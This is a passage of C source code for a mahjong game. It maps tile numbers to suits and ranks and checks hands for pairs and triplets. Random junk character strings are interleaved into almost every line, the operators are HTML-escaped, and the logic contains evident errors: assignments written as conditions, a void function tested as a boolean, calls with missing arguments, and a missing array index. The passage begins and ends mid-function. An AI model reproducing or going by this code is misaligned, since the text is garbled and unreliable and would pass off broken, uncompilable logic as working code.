if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
! N2 q, L5 O# K$ ologoo=1;/ R* y4 r/ s5 }. e; F5 j
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)2 o$ \! j& L6 }4 ~6 ?
logoo=2;- p8 {7 @% B4 i- O0 n# b
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
( r# a9 ~& ^$ R7 \  klogoo=3;6 Z7 B: [; t4 f9 I. o7 b  Y
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)+ V9 b. B7 O" O6 ?& I4 Q
logoo=4;9 J5 A- y, c" }0 y  b
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52); X* |: E/ K3 V0 W& w
logoo=5;
2 u0 ]1 [7 c. V) telse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)7 L9 N  I& ^3 c/ ?1 |9 t- q4 ^' `' e
logoo=6;6 n0 y/ v, `* d7 W! a* j* ]: h4 d
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
  A+ E3 T) A0 {& glogoo=7;
$ c- j% @- \5 |7 P8 j# l( x' helse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)& b. b$ C3 k# K( y% ?
logoo=8;
$ b' K. Z  T' N7 @: zelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)) @$ l7 ]% L, A1 z& p0 n% U
logoo=9;+ }4 R: Z/ i3 Q
}
" c2 @9 R8 q7 xelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
, {# R# {6 L7 |8 Q" A1 W) V{
2 f9 s, w  B* zlogo=3;, d7 |, }* K  u) V: T
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
, g/ @/ k. `$ O: |4 rlogoo=1;7 N) C9 V3 V: W' M  b& z+ |
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)% w: l: L& H, I$ u9 A( K; p. V
logoo=2;
- `8 n/ P) U& R' T6 belse if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
- _1 y+ y: Q, |0 l2 P6 V: Hlogoo=3;
2 U0 p4 `6 D9 n& Y8 s2 qelse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84): o7 o  ^4 u' k* u
logoo=4;. \% ~+ [! s* F- y
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)# L9 N) e" {8 Z* f
logoo=5;
( {* Q0 W& k1 j1 a3 n/ ^, `else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)4 b# @; L+ U7 M
logoo=6;
7 A, Z* h( l* W! {8 b% }$ z2 m; qelse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
1 ^4 O6 D5 i6 \logoo=7;
# r2 u- S, r  i3 e# H! Gelse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)3 g$ {0 H# j6 f- Q: ?! ~- [
logoo=8;
3 `$ a" |9 y) e* s8 o+ u( Jelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
3 ~2 v( u9 m! n3 y2 C2 J  clogoo=9;
2 Q8 [! E  k6 J4 K' B  l" [}+ ?4 p- G& Y4 |/ |
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
' [+ C8 ?0 _! `( m$ x3 q2 M! j{9 c2 B( g8 [6 n$ f2 X
logo=4;
3 o7 D9 X7 }8 r) z& Y  N( s- bif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)% x: R9 A2 B6 V6 \
logoo=1;, D  s# [( I8 x& s
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)+ N6 ^: o" ^: t; L: I
logoo=2;7 @& P" B/ ~# V" O
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
) z. C1 D' o& Llogoo=3;
2 F8 `6 K& a/ _! Zelse if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
2 M4 N  g3 I$ H- ]logoo=4;, X" r; z+ G& ]  H# Z% [; I
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)1 r/ X5 |& ?! E: P, h% L
logoo=5;: n$ [) S0 x- U; z2 k
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
7 L5 ]2 O7 F& J1 N8 n( ^logoo=6;: V! p. K6 P6 M% S+ k
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
- h' ]7 ~# o4 x# klogoo=7;
% R, ]( U9 d) z3 i( y/ f$ D$ U# q8 |}
  N9 _' ^+ p9 L/ z5 j: Rwhile(b&lt;=me.m)
# c; b2 ], K1 p2 O% x. Y{
7 w! m/ f9 g$ A0 t% O8 O9 {: u, l0 }if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
' A: Z1 x  N* s7 R, c5 O  f. ~; W{8 }& j, n8 [8 |2 {; C6 p8 x
lg=1;$ A. h! V+ j* l2 D
me.pp.d[0]=1;  ?3 o) Z% }  M" X0 Z
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
" L7 F% a) v+ u; e{
/ g9 f+ R" I! A- B. \lgg=1;2 I7 F) t+ h  P. [* h
me.pp.d[1]=1;+ v7 P9 g0 ?5 U8 I# U/ T2 s( {6 D5 G
}* V. Q# Y; J5 C; y
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)4 j/ X/ i% [0 p8 l, A
{
2 e8 p& _7 C# v& I8 ~) l% ilgg=2;
, }, F) P- l  l1 nme.pp.d[1]=2;
0 q/ ]" O3 o4 K}& f) R' f9 i* d
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)6 I. x) H% P. L1 k; X
{% q' V: B* ~# O6 m
lgg=3;0 D, |) O! J: n+ Y) a
me.pp.d[1]=3;
1 E1 {. E$ }+ J}
$ _! w" Q+ E* e. h7 zelse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
8 z8 f. a6 X2 w7 w, \7 B{' y" o4 x: p. U, z
lgg=4;# w5 j6 k0 R! W' [( Z
me.pp.d[1]=4;
/ g) D0 c1 p/ a& u9 B) X& v}" Y. Q& y9 m7 E4 a, W
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
- n4 C. L) g  n; F/ j! I{
6 ?+ b3 J* h' l9 C* Z0 Jlgg=5;
8 s( M" R, f# ?, I" Gme.pp.d[1]=5;
( O+ |7 D) E3 c3 {7 s}
0 ^7 w4 D2 W% R& Gelse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)9 v2 g. P# P  T
{
. z3 m2 L0 C/ w) U, Ulgg=6;
0 L. D2 Q4 o3 h. N/ F4 Ume.pp.d[1]=6;3 j6 N4 {$ V2 a; a4 P7 f# n
}
7 l" K( V( U6 u( Zelse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
( P- s$ l, u" c' s3 ]8 t5 a, R- @{
$ U$ B7 n9 S/ ^5 r$ o* ylgg=7;
9 H! l$ R6 s. c5 U. y  A0 Rme.pp.d[1]=7;+ ?! {, t* e8 m, c0 _! j
}" j; `7 M0 y4 q- v
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
, e; |$ |2 Z8 A5 R+ k{
! A  ^- j9 ?$ ~! blgg=8;# O: p5 ^6 P4 A+ p: S) ~- M
me.pp.d[1]=8;0 B% `0 V4 V3 z4 d9 j
}& d$ J& p- c- `
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
4 _; p% k( x5 {5 T{. B( f# V) t% K0 r+ u
lgg=9;6 B* h0 j% G0 Z: k
me.pp.d[1]=9;6 c3 ^) y6 V, M( V3 D- H
}3 a, {* l( X& \  g
}6 v# C7 m: k" e: d3 G5 k( t
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)1 e/ o9 F0 f6 R$ `& I" V
{1 h& I5 W. j8 ~1 \. M
lg=2;
% t  u! U" P3 V3 m& @. c: R& T) Fme.pp.d[0]=2;
% p% _1 Z9 I; }2 ^7 G- Rif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)+ C- P8 n+ f3 `) o' w; ^2 `
{
4 D9 ]+ m* O# U9 }. _! r/ [lgg=1;
/ k) T- f: W+ p1 Q1 F9 mme.pp.d[1]=1;
, R. p2 k& y6 p  M* t}$ r" o+ g+ F1 c- t& k
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)4 m' H: Z1 @: J+ c2 g* R1 c* G( Z- d
{  l! v$ I/ c5 D" l0 M
lgg=2;( a. m3 W; ]2 |- b' m
me.pp.d[1]=2;
9 n; {$ x- {. Z2 S  L4 x) Z}
$ c4 Y4 \# l, k. f+ e4 Nelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)# |* q) M: D$ k' b+ s8 C7 L1 x* v
{/ x* G8 J+ [. r  w' F2 X0 |
lgg=3;
7 o( b7 M* p# M* Qme.pp.d[1]=3;
2 ~- H3 ^" L; K, F" i. z, N6 p}9 P+ U$ i9 G1 D/ ^* |
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)7 K1 D+ H9 ?* B* d1 Y$ T
{  p* \) c/ B8 N, G! M2 Z1 q0 h
lgg=4;
8 `3 n- r. ~7 h7 x& Y: Rme.pp.d[1]=4;) r  k+ [% P+ H& @5 u# b$ u- X
}  L+ T/ s1 \  j+ e. A) |- O7 t9 l
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
- y5 T$ U. f- s/ d* M5 X{0 X' Q$ c0 y1 J( q! L9 V
lgg=5;( o* \7 b( F+ V$ o
me.pp.d[1]=5;
$ P* {" k% i8 u; }}
1 m- t/ X. c7 ^! |4 H% z# M+ ielse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)  k' I- {3 \2 \+ t# y5 g
{& ?3 d1 b) F. j
lgg=6;% Z, t8 `, w  x& R5 b% `, _9 C8 z4 @% I
me.pp.d[1]=6;
( ^  j* L. ]* D# n# `' H: ~9 W- }}
. E# C, j. }% E7 n! {/ lelse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
" d) n: E# c/ n6 C  W* s2 s- a{
3 L% ?8 A6 S/ x+ U0 p, ?7 v% xlgg=7;3 ]% R9 c6 i$ E  m- |; b7 C
me.pp.d[1]=7;
" Y' ~5 C( |' E) w/ ]}& K, o  o$ V! Y- J, P4 V
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
1 A  Z2 ?: k2 `{" @( l2 d2 h6 x. p
lgg=8;: i& l, \" o( X! b
me.pp.d[1]=8;& X& }) }. N) l+ D; k* ]# X6 c  K; k) u
}
7 d1 a3 p) j$ @1 D5 l5 Nelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)4 _. `8 D& r* [* }
{) v6 i- _& e' U; x$ A- k% _, R
lgg=9;
5 S% p9 @$ d8 j9 G0 R6 [me.pp.d[1]=9;
% O' Z( X( N' q  k) f}
" P: f5 G& r; V! E}
! a& A$ m! L% ]8 belse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72); @) o" O! ^0 n
{
0 L1 J+ g8 d! e$ C: M% jlg=3;
# j& z- ~  D7 y/ b- L! l) s8 Vme.pp.d[0]=3;
: l3 r7 E0 g# c9 Oif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
' }# D0 H, P: E/ w" w{
0 D$ _: u/ m8 Ilgg=1;& I( K7 S, m4 m8 M
me.pp.d[1]=1;6 f5 b! P! _- g" }' @5 t
}
6 n0 t* x- G3 v9 E/ {else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
* s, |2 I1 w+ C( u{
, B% x* \8 p7 d6 ]3 Q; ^lgg=2;
: P7 V; E" Q! g) O6 {me.pp.d[1]=2;( U9 j1 d4 q# u7 [5 x# G. o
}6 \: I  i) n) \; c4 W6 l
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)" O1 q3 d# f9 t0 v
{6 D$ ^) _. u: A- e) Z% \; y3 l& z
lgg=3;
" {+ G( m: s- K& ]0 n) l8 G& Ame.pp.d[1]=3;# A) z) O  `/ u  m
}
0 \1 y! B7 q' D9 W  j+ velse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)2 [. \- l- q$ Z4 q- r5 I
{
# E* ]6 ?- ?4 slgg=4;# w: ^4 N; V0 F4 h+ }' _
me.pp.d[1]=4;
- p6 ~) [! I' B' g! {- W  p; O}
* M4 E3 }  g5 k3 m. O: @# z$ Eelse if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
- I  v( M! w6 W( l) X{
& E9 y/ ?3 X3 jlgg=5;5 k0 k, Z, {! C  }6 m$ G
me.pp.d[1]=5;
4 V/ d: }! J4 s. A" o! c8 `8 n! y}
9 ^! Y0 P; P* x% _else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)8 [6 ~! C& `$ m# ^/ [/ B
{
" S+ D) ?1 _% I5 l% F, }lgg=6;7 n, a! E6 l8 g5 T* {
me.pp.d[1]=6;
5 Y8 s2 F6 G' F/ A. [" P}
: x1 {  m, A% p0 b* y9 Q) velse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)) K3 k2 H7 q+ H# |7 z
{8 x; e9 u. Q% X* e8 Y7 E
lgg=7;
; k! y6 o" r/ Y/ W* z0 J. jme.pp.d[1]=7;
0 i* p, I" O5 V. d}
  a/ H' C3 A! i9 T3 Z* r( @8 [2 i4 kelse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
# E3 U5 {' D2 a% _{
( Q$ G7 G* k# x0 F( S" ilgg=8;" G4 u# S6 b! l
me.pp.d[1]=8;
4 q9 I( a4 H) n. c- p$ H! b}1 @/ |3 g) Y8 Z1 x" Y
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
* `& C' Y3 e) I, s, T# a' @{4 ~6 d) @9 y, g" s& u- T
lgg=9;
# W$ h  u# }- J9 X' R- gme.pp.d[1]=9;
- E( d8 \1 ]" {7 J}8 Y9 z$ |/ P* x8 ~; x& z
}
; \1 C& x) d) g' ~6 B, M: P) O; Uelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
( \0 f! [! f9 M8 p1 l; U{: j9 S- d* p8 b
lg=4;" p, T8 Y! N' e4 T3 \" o
me.pp.d[0]=4;
! w! N# R. n& t3 k3 A4 O* G) f: Oif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)+ K" M8 s# A+ R8 T1 y
{
& K* B# b9 t5 T! Hlgg=1;
* {$ c" x4 [" h& q; ?2 G2 `me.pp.d[1]=1;. N) k; g' Q9 \
}
4 l6 g! l+ \" `7 h6 H3 C& u: N' jelse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)3 b; [9 o; o6 K- d# A
{
- t0 S) S: \' f0 A; ilgg=2;
+ V: a  C  O! Ome.pp.d[1]=2;
3 W. v3 s: w2 W0 D* U3 |}
3 F; ]1 h/ b* Oelse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)1 Z5 m+ }9 y, Y' z' P
{4 [* z, ^3 N+ C* ~$ ^
lgg=3;8 y, D/ e, S& A- I+ ~, W2 G
me.pp.d[1]=3;
) O5 X& `; Z. \# {+ q}
% I: g" e! |& ~7 C, a5 C7 h, Delse if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
9 {) S6 g. W1 F0 E{, D1 [+ `( ~3 J1 H- P
lgg=4;- E( w5 F, n1 p/ ~) h' b
me.pp.d[1]=4;" k' L! Z4 C  G# F) g
}
7 c, x2 b- \5 M- }. e% eelse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)9 l, b5 m$ c9 M9 F+ v# O7 @  b. y
{+ H9 d0 p3 D; B( [4 v
lgg=5;
# ^: e& C, b5 J' ~4 A# |me.pp.d[1]=5;6 O, @1 g" C( }0 O, A7 ?1 s" d
}) S, Y  j/ v0 h8 D& Z
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
. W# q5 b3 g+ M& B. [{8 i: e. a: t% ~7 r+ Z- l8 m; c& l
lgg=6;
& M3 s/ X* `$ g: X- f) D8 Sme.pp.d[1]=6;
6 k1 W, y/ x0 ~0 k  g}# a0 Y0 l1 m. W
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
) S% Z% L% D, T9 [7 N+ |$ D{
9 n* h$ A3 H5 o. b: }: tlgg=7;
7 g; _9 n5 N  J9 rme.pp.d[1]=7;
( d( p+ U8 q# ^# Y$ E$ d) U}
* M8 }# u& y" G3 K$ @* F* s: ?}
8 I$ Y" O- t* C/ E( f}. W( R! a" O: W* I' h$ a5 S2 M7 m
}
/ x/ k* O3 j% nvoid istwo(testt)7 y! K2 g3 [2 r' }% O
int testt[];
1 h* v  ~5 M: X{ if(testt[0]==testt[1])
" j+ N2 x. B0 Y5 q& Q, A! ?$ Ksecond++;
& J" m0 G; [( g}
' F. W8 X  d& T. O( i( _7 o0 ^void isthree(testt,n)2 W3 {2 s1 S! g; ^
int testt[],n=0;
. C3 I/ R$ v+ Z4 M# t( z0 A{ int i,j,flage=0,lianx=0,same=0;
2 H% s- A* y1 I: w! J8 fn=n/3;7 t  P3 W  I. K7 p' f1 q3 I
for(j=0;j&lt;n;j++)
$ B! Y: c- E9 e& B7 D* M  K{
- C8 X9 V7 Y* w6 D- k% J( ifor(i=j*3;i&lt;2+j*3;i++)
: ?! D1 B6 C9 r, D9 ~* Y! W  X{7 T( \+ z' S( o/ j) r) u, H
if(testt==testt[i+1])# v' N0 C8 M: ]3 q% q" A" [
same++;
9 v/ A/ m% E4 Tif(testt[i+1]-testt==1)
* j4 [' ~5 t0 D, x" C5 plianx++;
5 l4 R# E! i: `" u* Q}
3 s: C( j1 T7 y  L/ D  Tif(same==2)3 \# n- e' t; Y- h
threes++;
+ J! Q5 f* Q  [3 G' X' dif(lianx==2)# P9 y5 Z7 z- h% |& g4 k5 Y
threes++;# {" q0 D) ?) Z- T+ Z. y
same=0;  P' {3 U3 Q. L3 A. M8 J
lianx=0;0 n) V* T, H( X. c7 X
}: W% P/ Q5 g: J' s0 K; a) \4 H" t
}
. m4 l* J" l$ V9 ~4 o- tvoid panduan() /*本程序的精髓*/
& v: e" M9 Q8 F" o# [{int data[14];
  L. [4 ^$ P+ }+ n9 a0 Bint pw[14];5 }3 [2 s* k) o- W) y  _% s# p) z
int pt[14];' H: l  o! B; ^+ w
int pi[14];5 `5 _# @# t, j# v
int pf[14];+ d" q5 a( [4 L- s
int test[12];
' M& \) \# n' A6 ?2 W6 Q+ T& eint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;7 l: p* y( n2 J  d2 ^% G5 ^
for(jj=0;jj&lt;=me.m;jj++)/ j# a! z1 ]0 h9 |4 ]& u
{- ^9 Z" f, C+ }/ s
if(me.pp[jj].d[0]==1)% [: F* L% R' G- N2 |/ i2 B
data[jj]=me.pp[jj].d[1];: O. M; N5 W% c' v: u% w8 H+ M
if(me.pp[jj].d[0]==2)7 t. a6 Y& t6 u: R- ?% Z  ~
data[jj]=me.pp[jj].d[1]+10;
3 h- V5 [2 T6 Q. a& zif(me.pp[jj].d[0]==3)3 H& ~& h. I# l+ l( z* Z
data[jj]=me.pp[jj].d[1]+20;
$ u7 c, ~- c3 m7 Yif(me.pp[jj].d[0]==4)9 g: p' }# I3 [7 g8 S8 G+ g
data[jj]=me.pp[jj].d[1]+30;4 o$ `3 k# M8 I6 }( \% N0 G4 |
}
/ h& K/ F8 [1 U: L4 H  L/ gif(logo==2)
2 ?! {: Y' u& b+ t( U  {3 Gw=logoo+10;+ f; M4 @6 |+ a; u' X3 I, u- L  j# H
if(logo==3)3 }. S& Z0 G( @! r. P" y1 D- J
w=logoo+20;$ R0 V6 e9 P, K9 w: h* U
if(logo==4)9 e, p" d% J% J. A# n2 R
w=logoo+30;
' X3 c3 z; ^5 S" Q2 f# edata[computer.m+1]=w;
: J8 U  U  y2 \0 B2 }for(mm=0;mm&lt;=computer.m;mm++)
8 h% U1 f8 j- G5 S2 gfor(nn=mm;nn&lt;=computer.m;nn++)
8 C8 [( G8 u$ j: I8 j, p' Gif(data[mm]&gt;data[nn+1])( r: v9 \, Y7 i6 ~: F; ~( n& b
{* N5 G9 g# E3 q! K3 Q
tpp=data[mm];
, [: N0 C. W8 @: ]7 edata[mm]=data[nn+1];2 r: T. ?7 f! P
data[nn+1]=tpp;+ h' {" a( k* h, c' W
}
0 {, i; g  r$ e6 k& Z( n/ i! zlp=0;
" t( }; W% ~+ P! Fwhile(lp&lt;=computer.m)' X( W0 x' a! E9 j$ F
{ if(data[lp]&lt;10)
/ B% e7 _  p+ Q* p4 }8 d$ M$ Cpw[ww++]=data[lp];% j5 S2 z5 j, l/ v% m+ ~2 f6 x0 ^3 s% {
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)9 y6 Y9 Q9 [# |8 H6 ?
pt[tt++]=data[lp];
6 v9 s0 W: p2 A% ?9 mif(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)$ ?+ D4 o) l8 Q6 {5 }$ [5 |5 z0 J* [0 G
pi[ii++]=data[lp];' u0 r% T- i' f5 W
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
) T8 q) t9 j( G. j+ `pf[ff++]=data[lp];) h# t+ v  L; I
lp++;6 G7 v, z( |1 ^
}
1 m% m- C. L/ v" w8 G! aif(ww==2)' @+ k6 l/ V2 a' B
istwo(pw);
  u6 w8 `! I  j1 A5 Eelse if(ww==3)$ U5 _0 C% O5 Z3 [
isthree(pw,ww);- X9 F+ l& i3 x+ [* n
else if(ww==5)
$ T/ W# {, c4 J$ e. x/*pw[5]原始牌数组,假设已经升序排列*/+ e7 ~/ c3 o* K' w
/*test[3]用来放置测试牌的数组*/
9 k1 \; ^/ M( p1 B+ wfor(i=0;i&lt;4;i++)
, S$ O& z; ], p, A2 r# [! @3 D{, l2 v  [+ \( ^) g& L
for(j=0;j&lt;2;j++)9 [, h# o. j2 [$ u% l8 S+ \
{test[j]=pw[i+j];. d8 ?* L6 N4 s8 E* P8 Y$ z0 E
}
9 V& I6 }3 D3 c! v& H3 _9 }+ qif(istwo(test))
4 H0 l+ ?. l9 F4 _" g8 b4 U{ ill=0;
/ Y6 \3 }. J* d9 ufor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/, K0 t- T  C5 L
{if(kl==i)
$ x4 u1 f* b, m/ p2 }/ u{
8 ~1 J  D8 j* {: p! wkl=kl+2;! D, Q% [& \: S. K
if(kl==5)
% h1 a: o- I1 k( G3 m! K, p% dbreak;
, [0 y0 N: Z5 I/ x1 Y' ~) T$ x}
7 _9 R2 `9 Y5 N4 }  }: gtest[ill++]=pw[kl];* M: p8 X+ `, A# Q* V4 H) _
}
& s+ F4 A; C& [8 o6 L# Kisthree(test);+ j. |# u7 J3 C5 l
}
4 ^0 H, ?. z' z2 ?}
" g1 a# f! F8 W1 u, |& G) x' P$ Aelse if(ww==6)
- Z* ], }* A% \/ M: tisthree(pw,ww);
  T, ?& K6 v( }1 oelse if(ww==8): H/ t2 Q( e# d& w; h9 T
for(i=0;i&lt;7;i++)0 T3 y3 u9 h' u6 y, y  B& b6 k
{; \2 O! [' ]0 m( R" W. r- m5 B% c5 D
for(j=0;j&lt;2;j++)
3 x+ h) A9 ^7 Q3 ?; ?! Z' [{test[j]=pw[i+j];
2 b: f0 E8 V8 @& g- z7 w4 ]$ [}
, G6 l7 {  ~/ U7 Xif(istwo(test))( P& F) X$ b0 f: x* X8 d
{ ill=0;
& L2 }) o. L0 }4 M( M! I9 dfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
* r2 L: H' F/ Z) l{if(kl==i)/ q5 f% d$ n- e8 R: G6 a' w
{  i  e; B0 Y  N4 R9 I
kl=kl+2;$ e/ H" A/ a  K: P: [
if(kl==8)9 I" q9 a  \2 [0 I+ g' q/ l
break;
8 K! S5 Y% B( W6 ^9 B}
2 N# k1 q0 [. @7 g$ T; Wtest[ill++]=pw[kl];/ E0 a5 ~/ d8 Y) ^7 p% b
}
- C) R' X: C3 A' fisthree(test,ww-2);
  P7 b+ F) w; ]" T}( c  M4 X" U! ?# ~' B7 ~5 a
} 9 _: p* F( A1 [( d8 d$ V) R) e
else if(ww==9)" l7 O( L6 _" C2 r
isthree(pw,ww);
2 M& e" W3 y3 N: Delse if(ww==11)% ~$ ?/ [6 l$ q9 h/ P% m; z
for(i=0;i&lt;10;i++)
3 X. f. h3 p& T4 y, m1 r{4 _6 r8 P$ H6 c& A
for(j=0;j&lt;2;j++)
& M5 n% ^' _7 G, Q5 W6 Z, i( u( q{test[j]=pw[i+j];
5 z. S& \' N2 s9 ]9 _4 O( }}3 b3 n* |/ U( D
if(istwo(test))
/ T1 }' R& ?, I  Y{ ill=0;
: `6 f0 s/ Q6 kfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# H/ w; q+ z4 c( i- ]. z( C5 L; F{if(kl==i)+ N: K  s! L+ B
{2 H% m+ r: M( H8 C
kl=kl+2;# d! G6 Q$ h  H
if(kl==11)
( n7 q3 E* N5 wbreak;' u# i: ]. U3 g/ c* q
}) O" f; @  S( l& v; }
test[ill++]=pw[kl];1 k( {3 X7 A( E  b, q8 t( E
}
* c5 X9 i4 \+ U8 w2 wisthree(test,ww-2); 7 p$ H0 W4 L5 }0 y
}
  X9 l, i7 R4 u& t/ T} * P6 ?6 U  n7 y2 U! F8 a: _" L( E
else if(ww=12)
8 E: z; O1 }& zisthree(pw,ww);) |7 w6 N2 v! N+ Q+ r
else if(ww=14)
5 t- S  ]2 C: n& ]- ~, {for(i=0;i&lt;13;i++)9 M" |3 S) v' K. }3 I
{  X) \# ?; d: M* L0 i+ o5 b
for(j=0;j&lt;2;j++)! Y  R- F$ z  @" [
{test[j]=pw[i+j];
& a  M* P/ l  ]4 [}
' J% V7 d: d  Gif(istwo(test))" ^* n/ P9 ]: R1 b& P6 s2 p% J
{ ill=0;2 j6 Q5 g& z$ f5 Z
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/6 O+ b8 I% s& Y& y
{if(kl==i)# w8 U' H- g) p6 _& \7 z4 z
{
! X( T7 S0 `4 i0 m3 s  u4 }: O) skl=kl+2;
5 T9 s% S5 p5 e8 ~9 }2 ]if(kl==14)
2 }1 D& ~6 A0 h9 W% P1 ]break;& B3 y; \+ f0 o# m# U4 C# p
}
" [; q  B6 j$ Stest[ill++]=pw[kl];
7 P) s! M( K$ M, {2 R6 H" |}
# t0 c0 Z6 ?, {  M4 O( Eisthree(test,ww-2); ! A& p' y& V4 }2 {! i& d
}5 }% z% k" s# D' F3 n" A( p
}/ a" R; M! E1 C
if(tt==2)+ s! Q9 d1 _! u: q) S1 i+ t
istwo(pt);6 @- l1 }& I7 G9 q  N" I
else if(tt==3)
9 V8 a! [+ Z) H$ D0 Risthree(pt,tt);
2 N$ H8 s% L  S) Y8 Selse if(tt==5)
" F, a3 c3 K9 N7 G" n5 m/*pt[5]原始牌数组,假设已经升序排列*/3 h$ k4 m0 m" c1 q1 b1 G$ d
/*test[3]用来放置测试牌的数组*/7 s3 O. d% L, O. H
for(i=0;i&lt;4;i++)
0 Q+ {! h3 T) t{% k5 M  T- W6 F3 O* q' f! d
for(j=0;j&lt;2;j++)
+ j: j% K2 G( M4 i# j' e# S9 l4 b{test[j]=pt[i+j]; 5 O$ s; ~, i! \3 H  H, \1 A( I
}" n7 ?/ v5 [6 K. h: T6 r6 E
if(istwo(test))
! Q6 I/ ~2 S6 h{ ill=0;
- h% o5 {) J1 e0 _4 P/ Y& {for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/0 Y  q* o' @0 X  [% m" S
{if(kl==i)
& Q: o& `; W7 r3 V( d' }{
4 [% M1 o, M' K+ i- z" Dkl=kl+2;
( q# Z0 ]" r& v$ x8 b3 p5 R2 \if(kl==5)
& M- M1 H; x2 E  X! m: m6 [* obreak;9 A( L- s9 g+ S
}. \; v, f# ?" C3 b% Z5 O9 ~6 e3 i6 H
test[ill++]=pt[kl];2 S1 e6 g+ L* F$ g
}0 p% c3 h+ y1 P: V2 p
isthree(test);4 S7 a; ]0 s3 \/ H
}4 z$ j) N8 E8 X, _8 F2 c
}
6 C" n& E" x% Pelse if(tt==6)
- j1 p( L7 |3 I5 tisthree(pt,tt); : q$ G( h1 U) E$ R0 k
else if(tt==8). b. B2 Y7 ?" c- P% {& |+ g
for(i=0;i&lt;7;i++)6 p: i( @5 t4 ~+ T9 M
{
% W- @  p( a; w" p0 T2 B) Y" {for(j=0;j&lt;2;j++)
( `5 [4 d: p! U{test[j]=pt[i+j];
- y' J& n  P% @  z}
7 l7 f, F  L, r' c- jif(istwo(test))5 h+ j1 V0 ~& m6 k& K
{ ill=0;
